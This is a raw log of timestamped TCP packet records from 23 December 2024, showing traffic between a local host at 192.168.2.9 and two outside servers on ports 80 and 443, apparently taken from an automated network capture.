Dec 23, 2024 17:16:16.844350100 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.844350100 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.844381094 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.844383001 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.844383001 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.844393015 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.844414949 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.844482899 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.844486952 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.844551086 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.845005035 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845180988 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845196009 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845206022 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845268965 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.845268965 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.845367908 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845381021 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845391989 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845405102 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845427036 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845444918 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.845444918 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.845479012 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845479965 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.845972061 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.845985889 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846026897 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846069098 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846110106 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846123934 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846136093 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846148968 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846163034 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846256971 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846313953 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846328020 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846338987 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846349955 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846362114 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846364021 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846374035 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846385956 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846386909 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846400023 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846400976 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846411943 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846436977 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846436977 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846487999 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.846791029 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846956015 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.846966982 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847007990 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847055912 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847126961 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847141027 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847171068 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847182989 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847184896 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847222090 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847367048 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847379923 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847392082 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847404003 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847440958 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847503901 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847516060 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847527027 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847564936 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847564936 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847655058 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847667933 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847680092 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847692966 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847702980 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847724915 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847724915 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847729921 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847745895 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847745895 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847759008 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.847765923 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847785950 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.847804070 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848351955 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848366022 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848376989 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848387957 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848398924 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848411083 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848440886 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848464966 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848464966 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848495960 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848509073 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848520994 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848527908 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848534107 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848558903 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848558903 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848583937 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848689079 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848700047 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848714113 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848726988 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.848732948 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848732948 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848751068 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.848790884 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849143982 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849157095 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849196911 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849196911 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849349022 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849360943 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849371910 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849385023 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849397898 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849410057 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849422932 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849422932 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849422932 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849437952 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849457026 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849457026 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849479914 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849487066 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849495888 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849519014 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849543095 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849689007 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849701881 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849714994 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.849745035 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.849792004 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850155115 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850168943 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850179911 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850192070 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850239992 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850239992 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850290060 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850307941 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850321054 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850349903 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850349903 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850631952 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850644112 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850656033 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850670099 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850681067 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850689888 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850689888 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850694895 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850774050 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850774050 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850775003 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850789070 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850800037 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850812912 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850825071 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850832939 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850838900 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850871086 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850871086 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.850965023 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.850979090 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.851011038 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.851037979 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.851423979 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.851437092 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.851500988 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.851592064 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.851604939 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.851744890 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.851938963 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.851950884 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.852106094 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.852183104 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.852197886 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.852247953 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.852262974 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.854119062 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.854233980 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.854715109 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.854790926 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.855659008 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.855721951 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.855819941 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.856169939 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.856180906 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.856230021 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.856230021 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.857253075 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.857450008 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.988071918 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.988142967 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.988214016 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.988451958 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.988652945 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.988703966 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.989314079 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.989388943 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.989505053 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.990052938 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.990134001 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.990155935 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.990849972 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.990911961 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.990952015 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.991013050 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.991714001 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.991727114 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.991787910 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.992681980 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.992693901 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.992866993 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.993156910 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.993232012 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.993278027 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.993329048 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.993896008 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.993957996 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.994124889 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.994173050 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.994837046 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.994990110 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.995035887 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.995780945 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.995929003 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.995971918 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.996372938 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.996453047 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.996551991 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.997330904 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.997385979 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.997515917 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.998078108 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.998140097 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.998163939 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.998222113 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:16.998955011 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.999044895 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:16.999095917 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.000091076 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.000272989 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.000466108 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.000957966 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.000971079 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.001076937 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.001076937 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.001458883 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.001565933 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.001615047 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.001615047 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.002110958 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.002393007 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.002775908 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.002854109 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.002968073 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.003130913 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.003679991 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.003691912 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.003751993 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.003751993 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.004398108 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.004484892 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.004522085 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.004589081 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.005515099 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.005532026 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.005575895 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.005575895 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.006232977 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.006252050 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.006330967 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.006330967 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.006752014 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.006799936 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.006854057 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.006896973 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.007522106 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.007630110 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.007656097 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.007697105 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.008519888 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.008537054 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.008601904 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.008601904 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.009141922 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.009191036 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.009212971 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.010044098 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.010097027 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.010103941 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.010790110 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.010818005 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.010850906 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.010850906 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.011573076 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.011913061 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.011971951 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.012314081 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.012392044 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.012434006 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.696578979 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:17.696724892 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:17.706202030 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:17.706217051 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:17.706741095 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:17.708436966 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:17.708472013 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:17.708513021 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:17.741115093 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.745704889 CET	49714	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.861330032 CET	80	49711	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.861402035 CET	49711	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.865304947 CET	80	49714	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:17.865421057 CET	49714	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.876730919 CET	49714	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:17.997283936 CET	80	49714	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:18.471576929 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.471642017 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.471684933 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.471720934 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.471750975 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.471765995 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.471786976 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.480830908 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.480870962 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.480896950 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.480910063 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.480969906 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.490431070 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.536590099 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.536611080 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.583446980 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.591422081 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.595969915 CET	443	49713	172.67.209.202	192.168.2.9
